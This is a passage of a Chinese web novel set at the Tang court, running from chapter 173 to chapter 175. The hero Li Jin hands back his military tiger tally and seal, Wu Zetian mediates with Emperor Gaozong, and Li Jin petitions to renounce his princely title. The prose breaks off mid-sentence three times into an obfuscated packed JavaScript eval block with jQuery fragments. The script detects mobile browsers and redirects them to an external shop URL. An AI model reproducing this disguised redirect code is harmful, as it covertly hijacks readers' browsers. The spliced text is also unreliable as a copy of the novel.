“陛下!”李瑾抬起头,语气恳切而坚定,打断了皇帝的话(这在朝堂上近乎失礼,但此刻却显出一种“赤诚”),“陛下天恩,臣感激涕零,纵万死亦难报万一!然,臣闻‘名爵利器,不可假人’,又闻‘将在外,君命有所不受’,乃权宜之计,非长治之道。今四海升平,吐蕃归附,正当收揽权柄,归政于朝,以示天下至公。臣若久握重兵,外镇边陲,纵陛下、皇后不疑,奈天下悠悠之口何?且臣蒙恩过重,常恐才不配位,德不配禄。恳请陛下,收回印信兵符,另择贤能,镇抚西陲。臣愿以散官之身,留侍陛下、皇后左右,拾遗补阙,以尽犬马之劳!”
这一番话,说得情真意切,掷地有声。不仅再次强调了自己绝无恋栈兵权之心,更将此举拔高到“归政于朝”、“以示至公”的层面,堵住了所有可能劝他留任的借口。同时,表明自己愿意留在长安,做个清贵的散官顾问,姿态放得极低。
殿内群臣,心思各异。李勣老眼微眯,抚着胡须,心中暗叹:“好一个以退为进!此子年纪轻轻,竟有如此城府和决断,知进知退,舍得放下,未来……不可限量啊。”他不由得想起了汉初的张良,功成身退,得以善终。此子,颇有古贤遗风。
许敬宗则是心中大定,李瑾此举,无疑是最能打消皇帝疑虑、巩固圣眷的做法。他立刻出列,高声附和:“陛下!镇西郡公(他故意不用王爵称呼,以示亲近)忠谨体国,深明大义,实乃纯臣典范!其言字字恳切,句句为公。陛下,当准其所请,以成全其忠义之心,亦昭示陛下赏功不疑、君臣相得之美!”
上官仪等清流官员,虽然对李瑾的骤贵和与武后的关系有所保留,但见此情景,也不由得暗自点头。无论李瑾内心真实想法如何,至少在行动上,他做出了最符合君臣大义、最能维护朝廷纲纪的选择。这比那些居功自傲、拥兵
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014397|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自重之辈,不知高明多少。几位御史甚至已经在心中打腹稿,准备上表称赞李瑾“**亮节,堪为臣轨”。
反对者或有心发难者,此刻也无话可说。人家自己都把最重要的兵权交出来了,你还能说什么?难道非要逼皇帝承认自己猜忌功臣?或者说李瑾交权是虚伪?无论哪种,都站不住脚。
李治的目光,再次落在那方金印和半枚虎符上,又缓缓移向跪伏在地、姿态恭谨至极的李瑾。他沉默了片刻,这沉默在落针可闻的大殿中显得格外漫长。终于,他长长叹了口气,这叹息中包含着欣慰、感慨,或许还有一丝卸下重负的轻松。
“爱卿……拳拳忠心,天地可鉴。”李治的声音温和了许多,带着明显的感动,“卿能如此体谅朕心,顾全大局,实乃社稷之福,朕之股肱。既然卿意已决,朕……便准你所奏。”
“高延福。”
“老奴在。”
“将郡王所呈印信、兵符,收归内府妥善保管。安西大都护及陇右诸军事,朕会另行委派贤能接任。”
“遵旨。”
“李瑾。”
“臣在。”
“你上交兵符,乃是为国为君,深明大义。朕心甚慰。你征战劳苦,回京不久,便先好生休养。至于新的职司……”李治略一沉吟,目光看向珠帘后。武则天微微颔首。
李治继续道:“你精通军务,熟知边情,又深体朕心。便暂且以‘同中书门下三品’、‘镇西郡王’身份,参议朝政,兼领……嗯,兼领太常寺卿如何?太常掌礼乐祭祀,关乎国体,亦需重臣执掌。待朕与诸公商议,再为你择一妥当要职。”
太常寺卿,九卿之一,掌礼乐、郊庙、社稷、陵寝等事,地位清贵,但并无多少实权,更与兵事无关。这显然是一个过渡性的、象征性的安置,既给了李瑾极高的**待遇和参与朝政的权力,又将他暂时调离了实权尤其是军权部门。
“臣,领旨,谢恩!陛下圣明,皇后殿下明鉴!”李瑾再次叩首,声音平静,无喜无悲,仿佛对这个安排早有预料,且十分满意。
“平身吧。”李治抬手虚扶,脸上露出了今日朝会上最真诚的一个笑容,“爱卿且先归班。今日朝会,朕心甚慰。有卿等如此忠勤体国之臣,何愁我大唐不兴?散朝后,爱卿可到两仪殿,朕还有些西域风物,想与卿聊聊。”
“臣,遵旨。”李瑾再拜,然后才起身,退回自己的位置。自始至终,他的姿态都恭敬而从容,仿佛刚才那场震撼朝野的交权举动,只是做了一件再平常不过的小事。
朝会在一片微妙而复杂的气氛中继续,但所有人的心思,显然已经不在那些琐碎的政务上了。李瑾当众上交兵符的举动,如同在平静的湖面投下了一块巨石,激起的涟漪,必将扩散到朝堂的每一个角落,也必然会以最快的速度,传遍长安,传向四方。
散朝的钟磬声响起,百官依序退出含元殿。李瑾走在最前列,他能感受到身后无数道目光,如芒在背。有钦佩,有赞叹,有深思,也有隐藏得更深的忌惮与警惕。他知道,交出虎符和印信,只是一个开始,是向皇帝,也是向天下人表明的态度。真正的考验,还在后面。皇帝的两仪殿之约,皇后必然也会在场,那才是新一轮,或许更加微妙的交锋。
他抬起头,望向大明宫上空那片被宫殿飞檐切割出的、湛蓝而高远的天空,嘴角浮现出一丝极淡、极难察觉的笑意。退一步,未必是失去。有时候,松开手,才能握住更多,也更安全的东西。兵权是交出去了,但他在军中的影响力、他立下的不世之功、他背后的那个人,以及他心中那幅更宏大的蓝图,又岂是一方虎符和官印所能束缚或代表的?
长安的棋局,刚刚开局。而他,已经落下了第一子,并且是一招出乎许多人意料的、以退为进的妙手。
第174章 媚娘巧斡旋
含元殿朝会上的那一幕,如投入平静湖面的巨石,其激荡的涟漪,迅速从巍峨的宫阙蔓延至整个长安的权力圈层。镇西郡王李瑾,在人生最煊赫的时刻,主动、彻底、当众上交安西大都护印信和陇右道调兵虎符,这一举动所蕴含的**信号,被无数双眼睛捕捉、解读、咀嚼,然后通过各种渠道,化作私下的惊叹、揣测、密议,甚至新的算计。
朝会散去,百官各怀心思,陆续离开宫城。李瑾则在内侍的引导下,穿过重重宫门,前往皇帝先前提起的两仪殿。阳光透过宫殿高耸的檐角,在冰冷的青石地面上投下明暗交错的光影。宫道两侧,是肃立的金甲卫士,他们面无表情,仿佛一尊尊冰冷的雕像,对刚刚朝堂上那场无声的惊涛骇浪一无所知,又或者,早已司空见惯。
两仪殿并非正式朝会的宫殿,而是皇帝处理日常政务、召见近臣的便殿,气氛相对宽松。当李瑾在内侍通传后步入殿中时,发现里面除了斜靠在坐榻上的皇帝李治,还有端坐在一侧、正在翻阅奏章的皇后武则天。空气中弥漫着淡淡的药香和龙涎香混合的气息。
“臣李瑾,叩见陛下,皇后殿下。”李瑾依礼**。
“不必多礼,赐座。”李治的声音比在含元殿时更随意了些,他抬了抬手,指了指榻前不远处一个铺着软垫的绣墩。“来,坐近些说话。皇后也在此,正好一起听听你在西域的见闻。”
武则天放下手中的奏章,抬起眼,看向李瑾,脸上带着一贯的、温和而端庄的笑意,目光却深邃难明:“瑾儿来了。今日朝会上,你可是给了陛下和本宫好大一个‘惊喜’。”她语气轻松,仿佛在说一件家常事,但“惊喜”二字,却微妙地加重了语气。
李瑾在绣墩上虚坐了,姿态依旧恭谨,垂首道:“臣惶恐。臣只是觉得,为人臣子,理当如此。久握重兵于外,非人臣之福,亦非朝廷之幸。早些交还,陛下、皇后安心,臣也能睡个安稳觉。”
“哦?”李治饶有兴致地看着他,身体微微前倾,“瑾儿是觉得,朕会不放心你?”这话问得直接,甚至有些尖锐,目光也带着审视。
殿内的空气似乎凝滞了一瞬。侍立在角落的高延福,将头垂得更低。
李瑾神色不变,甚至露出一丝恰到好处的苦笑:“陛下明鉴,非是陛下不放心臣,而是臣自己,不能让自己放心。”
“此话怎讲?”武则天适时接口,语气带着关切,也带着探究。
“回皇后殿下,”李瑾转向武则天,态度恭顺,“臣年轻识浅,骤登高位,全赖陛下、皇后信重,将士用命,侥幸立下微功。然,位高则谤生,权重则疑至,此乃人情之常。古来多少功臣名将,并非自身不忠,实乃形势使然,身不由己。臣常读史书,每每扼腕。今日交出印信兵符,一则为全君臣之义,不使陛下、皇后为难;二则,也是为臣自身计。远离是非之地,闲居长安,侍奉陛下、皇后左右,读书习武,教导子弟,岂不自在安稳?此乃臣之肺腑之言,绝无半分虚饰。”他言辞恳切,将自己的行为完全归结为“明哲保身”和“体谅君上”,姿态放得极低,理由也朴实得近乎坦诚。
李治听完,沉默了片刻,手指无意识地摩挲着榻边玉如意光滑的表面。他看向武则天的方向,似乎在征询她的看法。
武则天微微一笑,端起手边的青瓷茶盏,轻轻撇了撇浮沫,声音平和:“瑾儿能有此心,实属难得。不恋权位,不矜己功,懂得急流勇退,这份清醒,朝中那些沉浸宦海数十年的老臣,也未必能有。陛下,您说是吗?”她将话题抛回给李治,既肯定了李瑾,又巧妙地将“急流勇退”这个词点了出来,暗示李瑾的功劳和影响力已是“急流”,现在“勇退”正是时候。
李治点了点头,脸上的神色缓和了许多,叹道:“是啊。不矜不伐,功成不居,古之良将,不过如此。只是……”他话锋一转,带着几分感慨和试探,“瑾儿你正当壮年,才干卓著,难道就甘愿从此闲散,不再为朕,为这大唐江山出力了?太常寺虽为九卿,毕竟清闲了些。”
“陛下,”李瑾立刻拱手,神情郑重,“臣非不愿为陛下效力,只是深知,为臣之道,贵在得宜。臣所长者,不过军旅之事,些许勇力。如今四海升平,吐蕃归附,正是偃武修文之时。臣于民政、礼乐、经学,所知甚浅,正需潜心学习。太常寺掌礼乐祭祀,关乎教化根本,臣能在此任上学习历练,已是陛下、皇后厚爱。至于为国出力,臣不敢或忘。但凡陛下、皇后有命,无论身处何职,臣必竭尽驽钝,万死不辞!”
这番话,既表明了自己“知不足,愿学习”的谦逊态度,又给了皇帝台阶下——不是你不给我实权,是我自己能力有限,需要学习。同时再次强调,只要需要,随时可以效力,忠诚不变。
武则天眼中闪过一丝赞许。这个年轻人,太懂得分寸了。他越是表现得无欲无求,越是强调自己的“局限”和“忠诚”,李治那颗猜疑的心,才能放得越安稳。她放下茶盏,对李治柔声道:“陛下,您看,瑾儿思虑周详,处处为君分忧,为社稷着想。他能有这份心境,实乃陛下之福,朝廷之幸。太常寺卿一职,确可让瑾儿暂歇鞍马劳顿,熟悉朝政典章。况且,瑾儿同中书门下三品的身份未变,依旧可参与政事堂会议,参赞机要,并非全然闲散。假以时日,待瑾儿历练成熟,朝中何处不可用?又何必急在一时,非要将这千斤重担,一直压在一个年轻人肩上?”
她这话,看似在为李瑾的开脱和安排,实则句句说在李治心坎上。既肯定了李瑾的忠诚和懂事,又顺水推舟地认可了将李瑾暂时“冷藏”在太常寺的安排,还给了李治一个“爱惜功臣、培养后进”的好名声。同时,那句“朝中何处不可用”,又为将来可能重新启用李瑾埋下了伏笔,不至于让李瑾彻底心寒。
李治脸上的笑容终于变得真切了些,他看着李瑾,语气也亲切起来:“皇后所言甚是。是朕心急了。瑾儿,你征战辛苦,回京后又是各种礼仪应酬,也该好生休养一段时日。太常寺事务不算繁剧,正好可以静下心来,读读书,陪陪家人。你与弘儿年纪相仿,日后也可多来东宫走动,他前几日还向朕问起你呢,对你很是钦佩。”
将李瑾与太子李弘联系起来,这又是一个微妙的信号。既是亲近,也未尝不是一种无形的牵制和定位——你是我留给太子的辅弼之臣。
李瑾立刻露出“受宠若惊”的表情,躬身道:“太子殿下聪颖仁厚,臣愧不敢当。若蒙殿下不弃,臣自当竭诚侍奉。”
“好了,不说这些了。”武则天适时地转换了话题,笑容温暖,仿佛寻常人家的长辈关心子侄,“瑾儿,你在高原征战年余,风霜苦寒,身子可还吃得消?本宫看你比出征前,是清减了些,也黑了些。回头让尚药局派两个妥当的太医,去你府上请个平安脉,开些温补的方子,好生调理调理。还有,你母亲和府中女眷,此番也担惊受怕,也该好好抚慰才是。”
“多谢皇后殿下关怀!臣身体无碍,将士们同甘共苦,臣岂敢言苦?劳皇后殿下挂心,臣感激不尽。家母亦常感念皇后殿下恩德。”李瑾感激地回答。武则天这些关怀的话语,看似家常,却极大地缓和了殿内因权力交割而产生的、若有若无的紧绷感,将气氛拉回到了“君臣一家亲”的温情脉脉中。
接下来的谈话,便轻松了许多。李治兴致勃勃地问起吐蕃的风土人情、高原的奇异见闻,以及冈仁波齐刻石的具体情形。李瑾拣些有趣又不犯忌讳的事情说了,描述生动,偶尔还带点自嘲的幽默,引得李治不时发笑,连武则天也听得颇为入神,偶尔插言询问几句。
“吐蕃之地,虽然苦寒,然山川壮丽,民风亦有淳朴之处。其贵族多慕我中华文化,此番臣在逻些,亦见到不少吐蕃贵族子弟,能诵几句《诗经》《论语》……”李瑾娓娓道来,将一场可能暗藏机锋的权力博弈,巧妙地转化成了轻松的异域见闻分享。
当
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018897|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
李瑾告退,离开两仪殿时,夕阳的余晖正透过窗棂,洒在光洁如镜的金砖地面上。殿内,只剩下帝后二人。
李治脸上的笑容渐渐淡去,他靠在榻上,揉了揉有些发胀的太阳穴,沉默了片刻,才缓缓开口:“媚娘,你觉得……李瑾今日之举,是真心,还是作态?”
武则天正在为他轻轻按揉额角,闻言动作不停,声音柔和平静:“陛下是天子,阅人无数,心中自有明断。不过,以臣妾愚见,真作假时假亦真,假作真时真亦假。重要的是,他做了,而且做得干净利落,当着满朝文武的面,将印信虎符,交还到了陛下手中。这份姿态,比一万句表忠心的话都有用。”
她顿了顿,继续道:“至于真心……陛下,这世上最难测的便是人心。但臣妾观李瑾此人,聪敏过人,深谙进退之道。他若真有异心,手握重兵,雄踞安西,岂不比回到长安,在陛下眼皮子底下,做个有名无实的郡王、清闲寺卿,要便利得多?他既肯回来,又主动交权,至少说明,眼下,他是懂得畏惧,知道感恩,也愿意遵守臣子本分的。至于日后如何……那就要看陛下如何驾驭,朝廷如何制衡了。”
李治闭着眼睛,感受着额角传来的舒适力道,喃喃道:“驾驭……制衡……谈何容易。他如今声望如日中天,军中故旧遍布,即便交了印信,其影响力犹在。今日朝堂上,那些将领看他交出虎符时的眼神……还有民间,那些称他为‘霍骠骑再世’的言论……”
“陛下所虑极是。”武则天声音依然平静,却带着一种安抚人心的力量,“然,正因其声望高,影响力大,才更需稳妥安置,示以恩宠,徐徐图之。若逼迫过甚,反生不测。如今他既已表明姿态,陛下便该示以宽宏,多加安抚。太常寺卿虽是闲职,但品级尊崇,参与政事堂会议,亦是参与机要。陛下可时常召见垂询,以示信重。至于军中……薛仁贵、王方翼等,皆是忠直老成之将,陛下可善加笼络。此外,安西、陇右新任长官的人选,需得仔细斟酌,既要能镇抚一方,又要是陛下信得过的。慢慢来,不着急。时间,是站在陛下这边的。”
她的话,如同潺潺流水,既点出了李治的隐忧,又给出了切实可行的缓进之策,既考虑了皇权的稳固,又没有完全否定李瑾的价值和忠诚,将“驾驭”和“制衡”的尺度,把握得恰到好处。
李治听完,久久不语,最终长长地舒了一口气,反手握住了武则天正在为他按摩的手,叹道:“媚娘,还是你思虑周全。有你在朕身边,朕心里踏实多了。”
武则天温婉一笑,眼底深处却是一片沉静的幽光。她既要稳住多疑的丈夫,又要保住能干的盟友,这其中的平衡,如同在刀尖上舞蹈,丝毫差错不得。今日的斡旋,看似轻松化解了一场潜在的危机,但真正的考验,恐怕还在后头。李瑾那头,是暂时安抚住了,但皇帝心中的那根刺,真的能彻底拔除吗?而李瑾,又真的甘于久居闲职吗?
她望向殿外渐沉的暮色,心中默默思量。棋盘还在,棋子已动,下一步,又该如何落子,才能既保住眼前的平衡,又为更长远的布局,埋下伏笔?
而此刻,已经走出宫门的李瑾,回望暮霭中巍峨深沉的大明宫,嘴角那丝极淡的笑意再次浮现。交出虎符,只是第一步。武后的斡旋,在他意料之中。皇帝的态度缓和,也在预料之内。但这远远不够。要真正打消皇帝的疑虑,或者说,将皇帝的猜忌转移到更“合适”的方向,他还需要再递上一份“投名状”,一份更彻底、也更冒险的“忠诚证明”。
他抬起头,看向崇仁坊自家府邸的方向。那封早已写好的、请求辞去郡王爵位的奏疏,是时候呈上去了。用几乎到手的、人臣极致的王爵,来换取更长久的平安和更广阔的空间,这买卖,在他看来,值得一赌。
宫阙深深,暮色四合。长安城的灯火次第亮起,照亮了归家人的路,也照亮了这座权力迷城中,无数双在明暗之间闪烁的眼睛。
第175章 自请辞王爵
两仪殿内帝后的温言抚慰与暗藏机锋的交谈,如同春日里一阵和煦却带着料峭寒意的风,吹过李瑾的心头,并未留下太多痕迹。他深知,交出虎符,只是打消皇帝疑虑的第一步,是“弃车”,为的是保住“帅”位,甚至图谋更远的“将”“相”。但要真正安皇帝之心,平朝野之议,为自己在这长安城中赢得一个相对安全、甚至可进可退的位置,他还需要再拿出一份更具分量的“投名状”。
这份“投名状”,便是他那顶炙手可热、人臣极致的“镇西郡王”王冠。
从宫中回到崇仁坊那座煊赫而空旷的郡王府,李瑾屏退左右,独自一人来到书房。书房是按照他的喜好新近布置的,并无多少奢华装饰,多宝阁上摆着些西域带回来的奇石、吐蕃的经卷,以及皇帝赏赐的古玩。最显眼的是墙上悬挂的一幅巨大的西域及吐蕃疆域图,上面用朱笔勾勒着他此番西征的路线和主要战场。此刻,这幅地图在摇曳的烛光下,显得有些肃穆,又仿佛带着未散的血火气息。
他在书案后坐下,铺开一张特制的洒金笺纸,取过紫毫笔,在砚台中缓缓舔饱了墨。他没有立刻下笔,而是闭目沉思了片刻。两仪殿中李治那复杂难言的目光,武则天那看似温和实则深不可测的审视,朝堂上那些或敬佩、或嫉恨、或担忧的眼神,以及民间那山呼海啸般的“郡王千岁”……一幕幕在他脑海中飞速闪过。
“王爵……”他心中低语。自汉以来,非刘姓不王,几成铁律。大唐开国,虽因功封过一些异姓王,但太宗之后,已极少有此殊恩。自己以弱冠之年,立下不世之功,得封郡王,看似恩宠无双,实则已将自己架在了火山口上。这顶王冠,是荣耀,更是催命符。它让皇帝的猜忌有了具体的指向,让同僚的嫉恨有了宣泄的靶子,也让自己的任何举动,都容易被过度解读。
“月满则亏,水满则溢。”他睁开眼,眼中一片清明,再无半分犹豫。笔尖落下,墨迹在洒金笺上缓缓洇开,铁画银钩,力透纸背:
“臣镇西郡王、同中书门下三品、太常寺卿李瑾,诚惶诚恐,顿首顿首,谨昧死上表:
臣本闾阎微贱,幸逢圣代。陛下、皇后殿下,不以臣卑鄙,猥自枉屈,拔于行伍,委以方面。出总元戎,入参机务。此非臣陨首所能上报,肝脑涂地无以仰酬万一。
顷者吐蕃悖逆,屡犯天常。陛下赫斯怒,奋雷霆之威;皇后运庙谟,授臣以专征。臣赖陛下神武,皇后明断,三军用命,祖宗垂休,侥幸成功,犁庭扫穴,系颈阙下。此乃上天眷佑,宗社之灵,将士之劳,臣何力之有?
而陛下、皇后殿下,赏不逾时,泽及枯骨。不次超擢,封以王爵;厚加宠锡,位极人臣。金书铁券,恕臣十死;甲第良田,赏逾常制。恩遇之隆,旷古未闻;荣耀之极,震骇心神。臣每受一命,则增一分惕厉;每蒙一赏,则添一份惶恐。
臣闻:爵禄者,天下之公器,人主之大柄。非有殊勋异德,不可轻授;非为社稷长久,不可滥赏。昔汉高帝刑白马而盟曰:‘非刘氏而王,天下共击之。’此非独防外姓,亦为保全功臣,使后世知所劝诫。臣才疏德薄,功微过重。侥幸边功,已蒙不次之赏;滥膺王爵,实逾人臣之极。内省循躬,愧汗涔背;外观物议,如坐针毡。
且夫,功高不赏,古有成惧;位极人危,史有明征。臣虽愚钝,粗涉经史。每览前载,见韩信、彭越之徒,初皆人杰,功盖当世,然或矜功伐能,或持权招疑,终至身死族灭,为天下笑。臣常掩卷叹息,引以为戒。今臣之功,虽万不敢比于古人,然位宠已极,恩遇过隆。若复贪天之功,恬居王爵,是重蹈覆辙,自取祸殃,亦使陛下、皇后有滥赏之讥,非所以全始终之义也。
臣父子兄弟,本出寒素。得侍宫阙,已属殊荣;位列公卿,更出望外。今恳请陛下、皇后殿下,鉴臣愚诚,收还成命。乞削‘镇西郡王’之封,并所加食邑、仪仗,止以旧爵梁国公供职。如此,则上不失朝廷爵赏之公,下可全微臣知止之节。使臣得免于盛满之咎,陛下、皇后亦无过厚之嫌。君臣相得,善始克终,岂不美哉?
若以吐蕃初定,需示怀柔,或念臣微劳,不可全弃。则乞降等封赏,或移封子弟,臣所甘心。唯此王爵,断断不敢祗受。臣非敢洁名钓誉,实出肺腑,惶惧战栗,不能自已。伏望圣慈,特垂矜允。臣无任恳切屏营之至,谨奉表陈请以闻。”
写完最后一个字,李瑾搁下笔,轻轻吹干墨迹。洒金笺上,字字恳切,句句谦卑,将自己置于一个“功微赏重”、“德不配位”、“恐招祸殃”的惶恐境地,反复引用历史教训,强调“非刘氏不王”的旧训,将辞去王爵的理由,完全归结为“为君分忧”、“为臣自全”,没有一丝一毫的怨望或不满,只有满满的感恩和畏惧。
这封奏疏,与其说是辞呈,不如说是一份精心设计的**宣言。它向皇帝表明:我不仅不要实权(兵符已交),连这至高无上的虚名荣宠也不要;我深知功高震主的危险,所以我主动退到最安全的位置(国公);我的一切都是皇帝赐予的,我时刻记得自己的本分和来历(寒素出身);我引用韩信彭越的教训,是在提醒皇帝,也是在警告自己,更是在向天下人表明,我绝不会成为那样的权臣。
他仔细检查了一遍,确认无误,然后取出“镇西郡王”的金印,在落款处郑重地钤上。做完这一切,他唤来最亲信的老仆,低声吩咐:“明日一早,将此表装入紫檀拜匣,以郡王府的名义,递通进银台司,直呈御前。记住,只需说是‘郡王谢恩及陈情表’,不必多言。”
“是,郎君。”老仆双手接过拜匣,躬身退下。
李瑾走到窗前,推开窗户,深夜的凉风带着长安城特有的气息涌入。远处皇城方向,仍有零星的灯火。他知道,这封奏疏一旦呈上,将会在朝堂引起怎样的轩然大波。会比交出虎符更加震撼,更加让人难以置信。但这是他必须走的一步,以退为进,舍虚名而求实安,甚至……图将来。
翌日,大朝会。
当那封标注着“镇西郡王臣李瑾谨奏”的紫檀拜匣,被通进银台司的官员以最快速度送到御前,并由内侍当众宣读时,整个含元殿陷入了死一般的寂静。落针可闻。
内侍高亢而略带颤抖的声音,在空旷的大殿中回响,每一个字都像重锤,敲在在场每一个人的心坎上。从感恩圣恩,到陈述战功乃将士之力,再到列举古训、引用韩信彭越旧事,最后恳切坚决地请求削去王爵,只保留梁国公爵位……字字泣血(表面上看),句句惊心。
殿内百官,无论此前对李瑾是何种态度,此刻都懵了。交出兵符,已是石破天惊;这主动辞去刚刚到手、炙手可热的郡王爵位,简直是……匪夷所思!这已经超出了常人对权力和荣耀的理解范畴。多少人奋斗一生,甚至几代人,就为了一个爵位,哪怕是个县公、县侯,都足以光宗耀祖。而李瑾,在获得人臣极致的郡王爵位后,竟然要主动放弃?理由竟然是“功微赏重”、“德不配位”、“恐蹈覆辙”?
震惊之后,是难以言喻的复杂情绪。清流官员如上官仪等人,心中震动之余,不由得对李瑾刮目相看。此子不仅有功,更有识,懂进退,知止足,这份清醒和谦抑,在年轻一代中,实属罕见。或许,他并非只是凭借军功和皇后宠信上位的幸臣?
许敬宗等“后党”成员,先是错愕,随即是深深的佩服和一丝隐忧。佩服李瑾的魄力和**智慧,这一手以退为进,玩得漂亮!忧的是,皇帝会怎么想?皇后又会如何应对?这会不会打乱某些布局?
那些原本对李瑾心存嫉恨或疑虑的保守派、世家官员,此刻更是五味杂陈。他们想攻击李瑾贪功恋权,人家直接把最大的权(兵权)和最大的名(王爵)都交了、辞了;他们想质疑李瑾恃宠而骄,人家谦卑得恨不得退回布衣。一时间,竟有些无处下口的感觉,反而隐隐觉得,自己是不是以小人之心度君子之腹了?
薛仁贵站在武将班列中,花白的胡子微微颤抖,老眼之中,竟有些湿润。他一生征战,见多了功臣的结局,能像李瑾这般,在巅峰时刻主动急流勇退、明哲保身的,少之又少。此子,不仅军事才华绝世,**智慧亦非常人可及。他仿佛看到了一颗正在冉冉升起、却懂得收敛光芒以避免灼伤自己也灼伤他人的新星。
御座上,李治在听完内侍的宣读后,久久没有言语。他脸上的表情,从最初的惊讶,到沉思,再到难以掩饰的动容,最后化作一声长长的、复杂的叹息。他下意识地看向珠帘后的武则天。
珠帘微微晃动,看不清皇后的面容,但能感觉到,那后面的人,也定然心潮起伏。
“李瑾……”李治终于开口,声音有些干涩,带着前所未有的感慨,“你……你这又是何苦?朕与皇后,赐你王爵,乃是酬你大功,表你忠勤,天下皆知。你何必如此自谦,乃至自损若此?岂不令朕与皇后,于心何安?”
李瑾早已出列,跪伏在御阶之下,闻言以头触地,声音带着哽咽(至少听起来是):“陛下!皇后殿下!臣非敢自谦,更非矫情。实是此心惶惧,日夜难安。王爵之重,非人臣所宜居。臣蒙恩过厚,常恐折福。且臣年轻识浅,骤登极品,外不足以服众望,内不足以安己心。唯有退居本分,尽心王事,或可稍报陛下、皇后隆恩于万一。此乃臣肺腑之言,字字血诚,伏望陛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018898|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下、皇后,体察臣之愚衷,矜而允之!若陛下、皇后不允,臣……臣唯有长跪不起,直至陛下收回成命!”说到最后,竟有几分“死谏”的决绝意味。
这话说得太重了。几乎是将皇帝皇后置于“不体恤臣下惶恐之心”的境地。
殿内再次哗然。李勣颤巍巍出列,拱手道:“陛下,老臣观镇西郡王……观李瑾此表,情辞恳切,非出伪饰。其惧满持盈,深谙止足之道,实有古大臣之风。其心可悯,其志可嘉。然,王爵乃陛下所赐,酬功之典,亦不宜轻废。老臣愚见,不若暂准其辞去王爵之请,然其功劳不可泯,可仍以梁国公之爵,加授特进、上柱国等荣誉,以全其功,亦安其心。”
许敬宗也立刻跟上:“英国公所言极是!李瑾忠谨谦退,实为纯臣典范。陛下、皇后当成全其忠义之心。然其功在社稷,亦当有所褒显。臣附议英国公之言。”
其他大臣,无论派系,此刻也大多倾向于顺水推舟。李瑾自己坚决不要,皇帝若强行要给,反而显得不近人情,甚至有“强臣所难”之嫌。不如做个顺水人情,既能显示皇帝从善如流、体恤臣下,又能彻底消除“异姓封王”这个敏感点带来的后续隐患,何乐而不为?至于功劳,用其他荣誉和赏赐补偿便是。
珠帘后,武则天清越的声音终于响起,带着一贯的沉稳和一丝不易察觉的感慨:“陛下,李瑾此心,实属难得。他不矜不伐,深明大义,处处为君父虑,为朝廷想。此等臣子,古之罕有。陛下,不若便准其所请,收回王爵,仍以梁国公封之,加授荣誉,令其以国公、同中书门下三品、太常寺卿之身,安心为朝廷效力。如此,既全了其忠谨之心,亦彰陛下赏罚之公、体恤之仁。且可使天下人知,我大唐赏功,重实不重名;为臣之道,贵忠贵谨。此乃两全之策。”
她的话,为这件事定了调子。既高度肯定了李瑾的行为,又给出了妥善的处置方案,还将其上升到了“彰显朝廷风气”的高度。
李治看着跪伏在地、肩膀似乎还在微微颤抖(不知是激动还是伪装)的李瑾,又看了一眼珠帘后模糊的身影,再扫过殿下那些显然已被李瑾这番举动打动或说服的群臣,心中那最后一丝疑虑和纠结,终于缓缓消散,取而代之的是一种复杂的、混合着欣慰、感慨、甚至一丝愧疚的情绪。
也许,真的是自己多虑了。这个年轻人,是真的忠谨,真的懂得畏惧,真的只想做个安分守己的能臣。他交兵符,辞王爵,姿态做得如此彻底,自己若再猜忌,倒显得刻薄寡恩了。
“罢了……”李治长叹一声,声音中带着浓浓的疲惫,也有一丝释然,“既然卿意已决,朕……便准你所奏。着即削去李瑾‘镇西郡王’封爵及相应仪制食邑,仍以梁国公爵位,加授特进、上柱国,余职如故。所辞让之食邑,转赐其母,以示朝廷不忘功臣家族之意。”
“臣……李瑾,叩谢陛下天恩!叩谢皇后殿下恩典!”李瑾的声音带着压抑的激动和如释重负,重重地叩了三个响头。这一次,他的感激,似乎多了几分真实。
朝会散去,李瑾辞去王爵的消息,以比上次交出兵符更快的速度,席卷了整个长安,进而向帝国四方扩散。引起的震动,远超之前。市井之间,议论纷纷,说什么的都有。但主流的声音,无不赞叹李瑾的“**亮节”、“真乃纯臣”,对皇帝皇后的“从谏如流”、“体恤功臣”也大加褒扬。李瑾的声望,非但没有因为辞去王爵而降低,反而在民间和一部分清议中,达到了一个新的、近乎“道德完人”的高度。
然而,在崇仁坊那座刚刚摘去“郡王府”匾额、重新挂上“梁国公府”金字的宅邸书房内,李瑾抚摸着那卷皇帝准许他辞去王爵、并给予其他补偿的诏书副本,脸上却是一片平静,甚至有些漠然。
